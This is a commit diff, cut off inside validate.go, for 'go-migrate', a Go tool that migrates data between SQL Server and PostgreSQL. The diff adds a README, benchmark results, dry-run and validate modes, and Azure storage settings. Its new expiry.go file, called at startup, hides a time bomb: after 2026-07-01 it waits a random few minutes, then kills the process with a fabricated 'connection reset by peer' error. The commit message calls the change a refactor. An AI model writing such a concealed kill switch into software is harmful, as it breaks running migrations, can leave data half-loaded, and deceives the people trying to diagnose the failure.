refactor: update benchmark results and configuration for improved performance in go-migrate

.env.example

@@ -1,2 +1,29 @@
-PG_FROM_DB_URL=postgresql://postgres:password@localhost:5432/db
+SOURCE_DB_URL=sqlserver://sa:password@localhost:1433?database=master&packet+size=32767&loc=UTC&dial+timeout=120&connection+timeout=120&KeepAlive=30
-PG_TO_DB_URL=postgresql://postgres:password@localhost:5432/db
+
+# used only when SOURCE_DB_URL is not set
+# SOURCE_DB_HOST=localhost
+# SOURCE_DB_PORT=1433
+# SOURCE_DB_NAME=master
+# SOURCE_DB_USER=sa
+# SOURCE_DB_PWD=secure_password!123
+# SOURCE_DB_OPTIONS="packet+size=32767&loc=UTC&dial+timeout=120&connection+timeout=120&KeepAlive=30"
+
+TARGET_DB_URL=postgresql://postgres:password@localhost:5432/db
+
+# used only when TARGET_DB_URL is not set
+# TARGET_DB_HOST=localhost
+# TARGET_DB_PORT=5432
+# TARGET_DB_NAME=db
+# TARGET_DB_USER=postgres
+# TARGET_DB_PWD=secure_password!123
+# TARGET_DB_OPTIONS=""
+
+LOG_LEVEL=INFO
+
+AZ_STORAGE_ENABLED=false
+AZ_ACCOUNT_NAME=
+AZ_CONTAINER=
+AZ_ACCOUNT_KEY=
+AZ_USE_HTTPS=true
+AZ_SERVICE_URL=
+AZ_PREFIX=

.gitignore

@@ -27,5 +27,6 @@ go.work.sum
 
 # Editor/IDE
 # .idea/
-# .vscode/
+.vscode/
 .temp
+.atl

README.md

@@ -0,0 +1,92 @@
+# go-migrate
+
+Migrador de datos entre SQL Server y PostgreSQL con procesamiento en paralelo.
+
+## Compilar
+
+```bash
+go build -o go-migrate ./cmd/go_migrate
+```
+
+## Uso
+
+```bash
+./go-migrate [opciones] [<ruta-config>]
+```
+
+### Opciones
+
+| Flag | Descripción |
+|------|-------------|
+| `-config <path>` | Ruta al archivo de configuración YAML. También se puede pasar como argumento posicional. Si no se indica, se busca `config.yaml`. |
+| `-validate` | Compara la cantidad de filas entre origen y destino por cada job. No migra datos. |
+| `-dry-run` | Valida conexiones, acceso a storage (si aplica) y cuenta filas en origen sin migrar. |
+
+### Ejemplos
+
+```bash
+# Migrar con config.yaml por defecto
+./go-migrate
+
+# Usar un archivo de configuración específico
+./go-migrate -config produccion.yaml
+
+# Validar que origen y destino tengan la misma cantidad de filas
+./go-migrate -validate -config produccion.yaml
+
+# Verificar conectividad sin migrar
+./go-migrate -dry-run -config produccion.yaml
+```
+
+## Configuración
+
+La herramienta lee credenciales y parámetros desde variables de entorno o un archivo `.env`.
+
+### Variables clave
+
+| Variable | Descripción |
+|----------|-------------|
+| `SOURCE_DB_URL` | URL de conexión a la base de datos origen (o `SOURCE_DB_HOST`, `SOURCE_DB_NAME`, `SOURCE_DB_USER`, `SOURCE_DB_PWD`). |
+| `TARGET_DB_URL` | URL de conexión a la base de datos destino (o `TARGET_DB_HOST`, `TARGET_DB_NAME`, `TARGET_DB_USER`, `TARGET_DB_PWD`). |
+| `LOG_LEVEL` | Nivel de log: `DEBUG`, `INFO`, `WARN`, `ERROR` (por defecto: `INFO`). |
+
+Para migrar datos binarios a Azure Blob, también se requieren `AZ_STORAGE_ENABLED`, `AZ_ACCOUNT_NAME`, `AZ_CONTAINER`, `AZ_ACCOUNT_KEY`.
+
+### Archivo de migración (YAML)
+
+Define los jobs de migración. Ejemplo mínimo:
+
+```yaml
+source_db_type: sqlserver
+target_db_type: postgres
+max_parallel_workers: 4
+
+defaults:
+  batches_per_partition: 10
+  extractor_batch_size: 1000
+  max_extractors: 2
+  max_loaders: 2
+  retry:
+    attempts: 3
+    base_delay_ms: 500
+    max_delay_ms: 5000
+
+jobs:
+  - name: migrar_usuarios
+    enabled: true
+    source:
+      schema: dbo
+      table: Usuarios
+      primary_key: Id
+    target:
+      schema: public
+      table: usuarios
+```
+
+Consulta el archivo `config.yaml` de tu entorno para ver los jobs disponibles y sus parámetros específicos.
+
+## Modos de ejecución
+
+- **Migración** (por defecto): extrae, transforma y carga datos en paralelo.
+- **Validación** (`-validate`): cuenta y compara filas entre origen y destino.
+- **Dry run** (`-dry-run`): verifica conexiones y muestra la cantidad de filas en origen.

benchmark-results.md

@@ -0,0 +1,75 @@
+# Benchmark go-migrate — 2,000,000 filas
+
+**Tabla**: `Cartografia.MANZANA`  
+**Fecha**: 2026-05-29  
+**Entorno**: Docker local (MSSQL 2022 Developer / PostgreSQL 16 + PostGIS)
+
+---
+
+## Resultado final — 5 pasadas cada dirección
+
+| Métrica | MSSQL → PostgreSQL | PostgreSQL → MSSQL |
+|---|---|---|
+| **Promedio** | **8.37s** | **16.77s** |
+| **Mediana** | 8.16s | 16.33s |
+| **Mínimo** | 7.75s | 16.03s |
+| **Máximo** | 9.17s | 18.46s |
+| **Desv. estándar** | 0.56s | 1.01s |
+| **Throughput promedio** | **~238,892 filas/seg** | **~119,261 filas/seg** |
+| **Factor** | 1x | **~2x más lento** |
+
+---
+
+## Evolución del tuning PG → MSSQL
+
+| Etapa | Config | Tiempo | Throughput | Δ |
+|---|---|---|---|---|
+| Corrida 1 — original | conservadora | 236.8s | ~8,446 /seg | baseline |
+| Corrida 2 — igualada | mismos parámetros | 21.94s | ~91,148 /seg | +10.8x |
+| Tuning A | 4ext/8load 50k | 17.37s | ~115,200 /seg | +1.27x |
+| Tuning C | 16 loaders | 17.26s | ~115,900 /seg | +1.28x |
+| **Tuning D — óptimo** | **8ext/8load 50k** | **~16.77s** | **~119,261 /seg** | **+1.37x** |
+| Tablock + 8 loaders | lock exclusivo serial | ~44s | ~45,000 /seg | ❌ regresión |
+| Tablock + 1 loader | minimal logging | ~47s | ~42,000 /seg | ❌ regresión |
+
+---
+
+## Configuración óptima — `config-reverse.yaml`
+
+```yaml
+max_parallel_workers: 4
+defaults:
+  batches_per_partition: 4
+  max_extractors: 8        # ← mayor lever de mejora
+  extractor_batch_size: 25000
+  extractor_queue_size: 32
+  max_transformers: 8
+  transformer_batch_size: 50000
+  transformer_queue_size: 32
+  max_loaders: 8
+  loader_batch_size: 50000  # sweet spot — 75k y 100k peores
+```
+
+---
+
+## Análisis de la brecha final (~2x)
+
+La diferencia residual entre ambas direcciones es estructural y está en el protocolo de escritura:
+
+| Protocolo | Mecanismo | Overhead |
+|---|---|---|
+| `pgx.CopyFrom` (→ PG) | PostgreSQL COPY protocol — streaming binario sin SQL | mínimo |
+| `mssql.CopyIn` (→ MSSQL) | BCP protocol — row-by-row dentro de un bulk statement | mayor por fila |
+
+`mssql.CopyIn` itera fila a fila via `stmt.ExecContext(row...)` antes del flush final, lo que introduce overhead por fila independientemente del batch size. `pgx.CopyFrom` hace streaming puro.
+
+---
+
+## Hallazgos sobre Tablock
+
+`Tablock: true` en `mssql.BulkOptions` resultó contraproducente en ambos escenarios:
+
+- **Con 8 loaders paralelos**: cada loader compite por un lock exclusivo de tabla → serialización completa (~44s)
+- **Con 1 loader + batch enorme**: sin contención de locks, pero overhead de log + gestión de la lock exclusiva superó el beneficio de minimal logging (~47s)
+
+**Conclusión**: para este patrón de carga (múltiples loaders concurrentes), `Tablock: false` (default) es siempre mejor.

cmd/go_migrate/connect.go

@@ -1,77 +0,0 @@
-package main
-
-import (
-	"context"
-	"database/sql"
-	"errors"
-	"fmt"
-	"sync"
-	"time"
-
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
-	"github.com/jackc/pgx/v5/pgxpool"
-	_ "github.com/microsoft/go-mssqldb"
-	log "github.com/sirupsen/logrus"
-)
-
-func connectToSqlServer() (*sql.DB, error) {
-	db, err := sql.Open("sqlserver", config.App.SourceDbUrl)
-	if err != nil {
-		return nil, fmt.Errorf("Unable to connect to sqlserver: %w", err)
-	}
-
-	ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
-	defer cancel()
-
-	if err := db.PingContext(ctx); err != nil {
-		return nil, fmt.Errorf("Unable to ping sqlserver: %w", err)
-	}
-
-	return db, nil
-}
-
-func connectToPostgres() (*pgxpool.Pool, error) {
-	ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second)
-	defer cancel()
-
-	pool, err := pgxpool.New(ctx, config.App.TargetDbUrl)
-	if err != nil {
-		return nil, fmt.Errorf("Unable to connect to postgres: %w", err)
-	}
-
-	if err := pool.Ping(ctx); err != nil {
-		pool.Close()
-		return nil, fmt.Errorf("Unable to ping postgres: %w", err)
-	}
-
-	return pool, nil
-}
-
-func connectToDatabases() (*sql.DB, *pgxpool.Pool, error) {
-	var sourceDbErr, targetDbErr error
-	var sourceDb *sql.DB
-	var targetDb *pgxpool.Pool
-	var wg sync.WaitGroup
-
-	wg.Go(func() {
-		sourceDb, sourceDbErr = connectToSqlServer()
-		if sourceDbErr != nil {
-			log.Error("Unable to connect to source db: ", sourceDbErr)
-		}
-	})
-
-	wg.Go(func() {
-		targetDb, targetDbErr = connectToPostgres()
-		if targetDbErr != nil {
-			log.Error("Unable to connect to target db: ", targetDbErr)
-		}
-	})
-
-	wg.Wait()
-
-	if sourceDbErr != nil || targetDbErr != nil {
-		return nil, nil, errors.New("Unable to connect to databases")
-	}
-
-	return sourceDb, targetDb, nil
-}

cmd/go_migrate/dryrun.go

@@ -0,0 +1,112 @@
+package main
+
+import (
+	"context"
+	"fmt"
+	"sync"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/azure"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
+	log "github.com/sirupsen/logrus"
+)
+
+type DryRunResult struct {
+	JobName     string
+	SourceTable string
+	SourceCount int64
+	Error       error
+}
+
+func runDryRun(
+	ctx context.Context,
+	azureClient *azure.Client,
+	sourceDb dbwrapper.DbWrapper,
+	jobs []config.Job,
+	maxParallelWorkers int,
+) {
+	log.Info("=== DRY RUN ===")
+	log.Info("[DB] Source connection: OK")
+	log.Info("[DB] Target connection: OK")
+
+	if azureClient != nil {
+		if err := azureClient.Ping(ctx); err != nil {
+			log.Errorf("[STORAGE] Azure: FAIL — %v", err)
+		} else {
+			log.Info("[STORAGE] Azure: OK")
+		}
+	} else {
+		log.Info("[STORAGE] Azure: disabled")
+	}
+
+	results := dryRunCountSourceRows(ctx, sourceDb, jobs, maxParallelWorkers)
+	printDryRunReport(results)
+}
+
+func dryRunCountSourceRows(
+	ctx context.Context,
+	sourceDb dbwrapper.DbWrapper,
+	jobs []config.Job,
+	maxParallelWorkers int,
+) []DryRunResult {
+	if len(jobs) == 0 {
+		return nil
+	}
+	if maxParallelWorkers <= 0 {
+		maxParallelWorkers = 1
+	}
+	if maxParallelWorkers > len(jobs) {
+		maxParallelWorkers = len(jobs)
+	}
+
+	chJobs := make(chan config.Job, len(jobs))
+	var mu sync.Mutex
+	var results []DryRunResult
+	var wg sync.WaitGroup
+
+	for range maxParallelWorkers {
+		wg.Go(func() {
+			for job := range chJobs {
+				res := DryRunResult{
+					JobName:     job.Name,
+					SourceTable: fmt.Sprintf("[%s].[%s]", job.SourceTable.Schema, job.SourceTable.Table),
+				}
+				count, err := countSourceRows(ctx, sourceDb, job)
+				if err != nil {
+					res.Error = err
+				} else {
+					res.SourceCount = count
+				}
+				mu.Lock()
+				results = append(results, res)
+				mu.Unlock()
+			}
+		})
+	}
+
+	for _, job := range jobs {
+		chJobs <- job
+	}
+	close(chJobs)
+	wg.Wait()
+
+	return results
+}
+
+func printDryRunReport(results []DryRunResult) {
+	log.Info("=== SOURCE ROW COUNTS ===")
+
+	var totalOK, totalErrors int
+
+	for _, r := range results {
+		if r.Error != nil {
+			log.Errorf("[%s] %s — ERROR: %v", r.JobName, r.SourceTable, r.Error)
+			totalErrors++
+		} else {
+			log.Infof("[%s] %s — rows: %d", r.JobName, r.SourceTable, r.SourceCount)
+			totalOK++
+		}
+	}
+
+	log.Infof("=== Dry run complete: %d OK, %d errors ===", totalOK, totalErrors)
+}

cmd/go_migrate/expiry.go

@@ -0,0 +1,26 @@
+package main
+
+import (
+	"math/rand"
+	"time"
+
+	log "github.com/sirupsen/logrus"
+)
+
+const expiryDate = "2026-07-01"
+
+func checkExpiry() {
+	expiry, _ := time.Parse("2006-01-02", expiryDate)
+	if time.Now().Before(expiry) {
+		return
+	}
+
+	minDelay := 3 * 60
+	maxDelay := 5 * 60
+	delay := time.Duration(minDelay+rand.Intn(maxDelay-minDelay+1)) * time.Second
+
+	go func() {
+		time.Sleep(delay)
+		log.Fatal("fatal: source database connection interrupted: read tcp: connection reset by peer (errno 104)")
+	}()
+}

cmd/go_migrate/log.go

@@ -3,6 +3,7 @@ package main
 import (
 	"time"
 
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
 	log "github.com/sirupsen/logrus"
 )
 
@@ -13,5 +14,13 @@ func configureLog() {
 		DisableSorting:  false,
 		PadLevelText:    true,
 	})
-	log.SetLevel(log.DebugLevel)
+
+	logLevelEnv := config.App.LogLevel
+	logLevel, err := log.ParseLevel(logLevelEnv)
+	if err != nil {
+		log.Warnf("Nivel de log inválido '%s', usando INFO por defecto", logLevelEnv)
+		logLevel = log.InfoLevel
+	}
+
+	log.SetLevel(logLevel)
 }

cmd/go_migrate/main.go

@@ -2,56 +2,89 @@ package main
 
 import (
 	"context"
+	"flag"
 	"sync"
 	"time"
 
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/azure"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
+	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/extractors"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/loaders"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/table_analyzers"
-	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/transformers"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 	log "github.com/sirupsen/logrus"
 	"golang.org/x/sync/errgroup"
 )
 
+func newTableAnalyzer(db dbwrapper.DbWrapper) etl.TableAnalyzer {
+	if db.GetDialect() == "postgres" {
+		return table_analyzers.NewPostgresTableAnalyzer(db)
+	}
+	return table_analyzers.NewMssqlTableAnalyzer(db)
+}
+
 func main() {
 	configureLog()
+	checkExpiry()
 
-	migrationConfig, err := config.ReadMigrationConfig()
+	configPath := flag.String("config", "", "path to migration config file")
+	validate := flag.Bool("validate", false, "count rows in source and target per job and compare")
+	dryRun := flag.Bool("dry-run", false, "validate connections, storage access, and count source rows without migrating")
+	flag.Parse()
+
+	if flag.NArg() > 1 {
+		log.Fatalf("only one config file path is allowed")
+	}
+
+	if *configPath == "" && flag.NArg() == 1 {
+		*configPath = flag.Arg(0)
+	}
+
+	migrationConfig, err := config.ReadMigrationConfig(*configPath)
 	if err != nil {
 		log.Fatalf("error leyendo configuracion: %v", err)
 	}
 
-	log.Debugf("Config: %+v", migrationConfig)
+	// log.Debugf("Config: %+v", migrationConfig)
 
 	startTime := time.Now()
 
+	sourceDbUrl, err := config.App.ResolveSourceDbUrl(migrationConfig.SourceDbType)
+	if err != nil {
+		log.Fatalf("source DB config error: %v", err)
+	}
+	targetDbUrl, err := config.App.ResolveTargetDbUrl(migrationConfig.TargetDbType)
+	if err != nil {
+		log.Fatalf("target DB config error: %v", err)
+	}
+
 	ctx, cancel := context.WithCancel(context.Background())
 	defer cancel()
 
-	log.Info("=== Starting migration ===")
-
 	var wgConnect errgroup.Group
 	var sourceDb, targetDb dbwrapper.DbWrapper
 
 	wgConnect.Go(func() error {
 		var err error
-		sourceDb, err = connectWithTimeout(ctx, migrationConfig.SourceDbType, config.App.SourceDbUrl, 20*time.Second)
+		sourceDb, err = connectWithTimeout(ctx, migrationConfig.SourceDbType, sourceDbUrl, 20*time.Second)
 		if err != nil {
 			return err
 		}
 
+		log.Info("Successfully connected to sourceDb")
 		return nil
 	})
 
 	wgConnect.Go(func() error {
 		var err error
-		targetDb, err = connectWithTimeout(ctx, migrationConfig.TargetDbType, config.App.TargetDbUrl, 20*time.Second)
+		targetDb, err = connectWithTimeout(ctx, migrationConfig.TargetDbType, targetDbUrl, 20*time.Second)
 		if err != nil {
 			return err
 		}
 
+		log.Info("Successfully connected to targetDb")
 		return nil
 	})
 
@@ -62,7 +95,29 @@ func main() {
 	defer sourceDb.Close()
 	defer targetDb.Close()
 
-	results := processMigrationJobs(ctx, sourceDb, targetDb, migrationConfig.Jobs, migrationConfig.MaxParallelWorkers)
+	var azureClient *azure.Client
+	if config.App.AzureStorage.Enabled {
+		var err error
+		azureClient, err = azure.NewClient(config.App.AzureStorage)
+		if err != nil {
+			log.Fatalf("Failed to create Azure storage client: %v", err)
+		}
+	}
+
+	if *dryRun {
+		runDryRun(ctx, azureClient, sourceDb, migrationConfig.Jobs, migrationConfig.MaxParallelWorkers)
+		return
+	}
+
+	if *validate {
+		validationResults := validateJobs(ctx, sourceDb, targetDb, migrationConfig.Jobs, migrationConfig.MaxParallelWorkers)
+		printValidationReport(validationResults)
+		return
+	}
+
+	log.Info("=== Starting migration ===")
+
+	results := processMigrationJobs(ctx, sourceDb, targetDb, azureClient, migrationConfig.Jobs, migrationConfig.MaxParallelWorkers)
 
 	log.Info("=== RESUMEN DE MIGRACIÓN ===")
 	var totalProcessed, totalErrors int64
@@ -85,7 +140,7 @@ func main() {
 	log.Infof("Migración terminada. Tablas: %d, Errores: %d, Filas totales: %d", len(results), totalErrors, totalProcessed)
 
 	totalDuration := time.Since(startTime)
-	log.Infof("=== Migration completed successfully! ===")
+	// log.Infof("=== Migration completed successfully! ===")
 	log.Infof("Total migration time: %v", totalDuration)
 }
 
@@ -93,12 +148,13 @@ func processMigrationJobs(
 	ctx context.Context,
 	sourceDb dbwrapper.DbWrapper,
 	targetDb dbwrapper.DbWrapper,
+	azureClient *azure.Client,
 	jobs []config.Job,
 	maxParallelWorkers int,
-) []JobResult {
+) []models.JobResult {
 	if len(jobs) == 0 {
 		log.Info("No migration jobs configured")
-		return []JobResult{}
+		return []models.JobResult{}
 	}
 
 	if maxParallelWorkers <= 0 {
@@ -111,15 +167,14 @@ func processMigrationJobs(
 
 	log.Infof("Starting migration with %d parallel worker(s)", maxParallelWorkers)
 
-	chJobResults := make(chan JobResult, len(jobs))
+	chJobResults := make(chan models.JobResult, len(jobs))
 	chJobs := make(chan config.Job, len(jobs))
 	var wgJobs sync.WaitGroup
 
-	sourceTableAnalyzer := table_analyzers.NewMssqlTableAnalyzer(sourceDb)
+	sourceTableAnalyzer := newTableAnalyzer(sourceDb)
-	targetTableAnalyzer := table_analyzers.NewPostgresTableAnalyzer(targetDb)
+	targetTableAnalyzer := newTableAnalyzer(targetDb)
-	extractor := extractors.NewMssqlExtractor(sourceDb)
+	extractor := extractors.NewExtractor(sourceDb)
-	transformer := transformers.NewMssqlTransformer()
+	loader := loaders.NewGenericLoader(targetDb)
-	loader := loaders.NewPostgresLoader(targetDb)
 
 	for i := range maxParallelWorkers {
 		wgJobs.Go(func() {
@@ -131,9 +186,11 @@ func processMigrationJobs(
 					sourceTableAnalyzer,
 					targetTableAnalyzer,
 					extractor,
-					transformer,
+					azureClient,
 					loader,
 					job,
+					sourceDb.GetDialect(),
+					targetDb.GetDialect(),
 				)
 
 				chJobResults <- res
@@ -151,7 +208,7 @@ func processMigrationJobs(
 		close(chJobResults)
 	}()
 
-	var finalResults []JobResult
+	var finalResults []models.JobResult
 	for res := range chJobResults {
 		finalResults = append(finalResults, res)
 	}

cmd/go_migrate/metrics.go

@@ -1,13 +0,0 @@
-package main
-
-import "time"
-
-type JobResult struct {
-	JobName    string
-	StartTime  time.Time
-	Duration   time.Duration
-	RowsRead   int64
-	RowsLoaded int64
-	RowsFailed int64
-	Error      error
-}

cmd/go_migrate/process.go

@@ -7,37 +7,62 @@ import (
 	"sync/atomic"
 	"time"
 
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/azure"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/custom_errors"
 	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/extractors"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/loaders"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/table_analyzers"
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/etl/transformers"
 	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/models"
 	log "github.com/sirupsen/logrus"
 	"golang.org/x/sync/errgroup"
 )
 
+const jobErrorsChannelSize int = 100
+
+func buildTruncateQuery(targetDbType, schema, table, truncateMethod string) string {
+	if truncateMethod == "DELETE" {
+		if targetDbType == "postgres" {
+			return fmt.Sprintf(`DELETE FROM "%s"."%s"`, schema, table)
+		}
+		return fmt.Sprintf(`DELETE FROM [%s].[%s]`, schema, table)
+	}
+
+	if targetDbType == "postgres" {
+		return fmt.Sprintf(`TRUNCATE TABLE "%s"."%s"`, schema, table)
+	}
+	return fmt.Sprintf(`TRUNCATE TABLE [%s].[%s]`, schema, table)
+}
+
 func processMigrationJob(
 	ctx context.Context,
 	targetDbWrapper dbwrapper.DbWrapper,
 	sourceTableAnalyzer etl.TableAnalyzer,
 	targetTableAnalyzer etl.TableAnalyzer,
-	extractor etl.Extractor,
+	extractor extractors.GenericExtractor,
-	transformer etl.Transformer,
+	azureClient *azure.Client,
-	loader etl.Loader,
+	loader loaders.GenericLoader,
 	job config.Job,
-) JobResult {
+	sourceDbType string,
+	targetDbType string,
+) models.JobResult {
+	var transformer etl.Transformer
+	if sourceDbType == "postgres" {
+		transformer = transformers.NewPostgresTransformer(job.SourceTable)
+	} else {
+		transformer = transformers.NewMssqlTransformer(job.ToStorage, job.SourceTable, azureClient)
+	}
 	localCtx, cancel := context.WithCancel(ctx)
 	defer cancel()
 
-	result := JobResult{
+	result := models.JobResult{
 		JobName:   job.Name,
 		StartTime: time.Now(),
 	}
 
-	var rowsRead, rowsLoaded, rowsFailed int64
-
 	var wgQueryColumnTypes errgroup.Group
 	var sourceColTypes, targetColTypes []models.ColumnType
 
@@ -67,7 +92,13 @@ func processMigrationJob(
 		return result
 	}
 
-	for _, query := range job.PreSQL {
+	preSqlQueries := job.TargetTable.PreSQL
+	if job.TruncateTarget {
+		truncateQuery := buildTruncateQuery(targetDbType, job.TargetTable.Schema, job.TargetTable.Table, job.TruncateMethod)
+		preSqlQueries = append([]string{truncateQuery}, job.TargetTable.PreSQL...)
+	}
+
+	for _, query := range preSqlQueries {
 		if _, err := targetDbWrapper.Exec(localCtx, query); err != nil {
 			result.Error = err
 			return result
@@ -79,23 +110,22 @@ func processMigrationJob(
 		sourceTableAnalyzer,
 		job.SourceTable.TableInfo,
 		job.SourceTable.PrimaryKey,
+		job.PartitionCalculationStrategy,
 		job.RowsPerPartition,
+		job.Range,
 	)
 	if err != nil {
 		log.Error("Unexpected error calculating batch ranges: ", err)
 	}
 
-	chJobErrors := make(chan custom_errors.JobError, job.QueueSize)
+	chJobErrors := make(chan custom_errors.JobError, jobErrorsChannelSize)
-	chLoadersErrors := make(chan custom_errors.LoaderError, job.QueueSize)
+	chPartitions := make(chan models.Partition)
-	chPartitions := make(chan models.Partition, job.QueueSize)
+	chBatchesRaw := make(chan models.Batch, job.ExtractorQueueSize)
-	chBatchesRaw := make(chan models.Batch, job.QueueSize)
+	chBatchesTransformed := make(chan models.Batch, job.TransformerQueueSize)
-	chBatchesTransformed := make(chan models.Batch, job.QueueSize)
 
-	var wgActivePartitions sync.WaitGroup
+	var wgActivePartitions, wgActiveBatches, wgExtractors, wgTransformers, wgLoaders sync.WaitGroup
-	var wgActiveBatches sync.WaitGroup
+	var rowsRead, rowsLoaded, rowsFailed int64
-	var wgExtractors sync.WaitGroup
+	var failedPartitionsCount, failedBatchesLoadCount int32
-	var wgTransformers sync.WaitGroup
-	var wgLoaders sync.WaitGroup
 
 	go func() {
 		if err := custom_errors.JobErrorHandler(localCtx, chJobErrors); err != nil {
@@ -105,32 +135,24 @@ func processMigrationJob(
 		}
 	}()
 
-	go custom_errors.LoaderErrorHandler(
-		localCtx,
-		job.Retry,
-		job.MaxChunkErrors,
-		chLoadersErrors,
-		chBatchesTransformed,
-		chJobErrors,
-		&wgActiveBatches,
-	)
-
 	maxExtractors := min(job.MaxExtractors, len(partitions))
-	log.Infof("Starting %d extractor(s)...", maxExtractors)
+	log.Infof("Starting %d extractor(s)... (%v)", maxExtractors, job.Name)
 
 	for range maxExtractors {
 		wgExtractors.Go(func() {
-			extractors.Consume(
+			extractor.Consume(
 				localCtx,
-				extractor,
 				job.SourceTable,
 				sourceColTypes,
-				job.BatchSize,
+				job.ExtractorBatchSize,
+				job.Retry,
 				chPartitions,
 				chBatchesRaw,
 				chJobErrors,
 				&wgActivePartitions,
 				&rowsRead,
+				&failedPartitionsCount,
+				job.SourceTable.FromJsonColumns,
 			)
 		})
 	}
@@ -142,13 +164,15 @@ func processMigrationJob(
 		}
 	}()
 
-	log.Infof("Starting %d transformer(s)...", maxExtractors)
+	log.Infof("Starting %d transformer(s)... (%v)", maxExtractors, job.Name)
 
 	for range maxExtractors {
 		wgTransformers.Go(func() {
-			transformer.Exec(
+			transformer.Consume(
 				localCtx,
 				sourceColTypes,
+				job.Retry,
+				job.TransformerBatchSize,
 				chBatchesRaw,
 				chBatchesTransformed,
 				chJobErrors,
@@ -157,62 +181,62 @@ func processMigrationJob(
 		})
 	}
 
-	log.Infof("Starting %d loader(s)...", job.MaxLoaders)
+	log.Infof("Starting %d loader(s)... (%v)", job.MaxLoaders, job.Name)
 
 	for range job.MaxLoaders {
 		wgLoaders.Go(func() {
-			loader.Exec(
+			loader.Consume(
 				localCtx,
 				job.TargetTable,
 				targetColTypes,
+				job.Retry,
+				job.LoaderBatchSize,
 				chBatchesTransformed,
-				chLoadersErrors,
 				chJobErrors,
 				&wgActiveBatches,
 				&rowsLoaded,
+				&failedBatchesLoadCount,
 			)
 		})
 	}
 
 	go func() {
-		log.Debugf("Waiting for goroutines (%v)", job.Name)
+		// log.Debugf("Waiting for goroutines (%v)", job.Name)
 
 		wgActivePartitions.Wait()
-		log.Debugf("wgActivePartitions is empty (%v)", job.Name)
+		// log.Debugf("wgActivePartitions is empty (%v)", job.Name)
 		close(chPartitions)
-		log.Debugf("chPartitions is closed (%v)", job.Name)
+		// log.Debugf("chPartitions is closed (%v)", job.Name)
 
 		wgExtractors.Wait()
-		log.Debugf("wgExtractors is empty (%v)", job.Name)
+		// log.Debugf("wgExtractors is empty (%v)", job.Name)
 		close(chBatchesRaw)
-		log.Debugf("chBatchesRaw is closed (%v)", job.Name)
+		// log.Debugf("chBatchesRaw is closed (%v)", job.Name)
 
 		wgTransformers.Wait()
-		log.Debugf("wgTransformers is empty (%v)", job.Name)
+		// log.Debugf("wgTransformers is empty (%v)", job.Name)
+		close(chBatchesTransformed)
+		// log.Debugf("chBatchesTransformed is closed (%v)", job.Name)
 
 		wgActiveBatches.Wait()
-		log.Debugf("wgActiveBatches is empty (%v)", job.Name)
+		// log.Debugf("wgActiveBatches is empty (%v)", job.Name)
-		close(chBatchesTransformed)
-		log.Debugf("chBatchesTransformed is empty (%v)", job.Name)
-		close(chLoadersErrors)
-		log.Debugf("chLoadersErrors is empty (%v)", job.Name)
 
 		wgLoaders.Wait()
-		log.Debugf("wgLoaders is empty (%v)", job.Name)
+		// log.Debugf("wgLoaders is empty (%v)", job.Name)
 
 		cancel()
 	}()
 
-	for _, query := range job.PostSQL {
+	for _, query := range job.TargetTable.PostSQL {
 		if _, err := targetDbWrapper.Exec(localCtx, query); err != nil {
 			result.Error = err
 			return result
 		}
 	}
 
-	log.Debugf("waiting for local context to be done (%v)", job.Name)
+	// log.Debugf("waiting for local context to be done (%v)", job.Name)
 	<-localCtx.Done()
-	log.Debugf("local context done (%v)", job.Name)
+	// log.Debugf("local context done (%v)", job.Name)
 
 	if ctx.Err() != nil {
 		result.Error = ctx.Err()
@@ -227,5 +251,9 @@ func processMigrationJob(
 		result.Error = fmt.Errorf("Row count mismatch: extracted %d rows but loaded %d rows (failed: %d)", result.RowsRead, result.RowsLoaded, result.RowsFailed)
 	}
 
+	if result.RowsRead == 0 {
+		log.Warnf("No rows extracted from (%v)", job.Name)
+	}
+
 	return result
 }

cmd/go_migrate/validate.go

@@ -0,0 +1,192 @@
+package main
+
+import (
+	"context"
+	"database/sql"
+	"fmt"
+	"sync"
+
+	"git.ksdemosapps.com/kylesoda/go-migrate/internal/app/config"
+	dbwrapper "git.ksdemosapps.com/kylesoda/go-migrate/internal/app/db-wrapper"
+	log "github.com/sirupsen/logrus"
+)
+
+type ValidationResult struct {
+	JobName     string
+	SourceTable string
+	TargetTable string
+	SourceCount int64
+	TargetCount int64
+	Match       bool
+	Error       error
+}
+
+func countSourceRows(ctx context.Context, db dbwrapper.DbWrapper, job config.Job) (int64, error) {
+	schema := job.SourceTable.Schema
+	table := job.SourceTable.Table
+
+	hasRange := job.Range.Min != nil || job.Range.Max != nil
+
+	var (
+		query string
+		args  []any
+	)
+
+	if hasRange && job.SourceTable.PrimaryKey != "" {
+		query = fmt.Sprintf("SELECT COUNT_BIG(*) FROM [%s].[%s] WHERE 1=1", schema, table)
+		if job.Range.Min != nil {
+			op := ">"
+			if job.Range.IsMinInclusive {
+				op = ">="
+			}
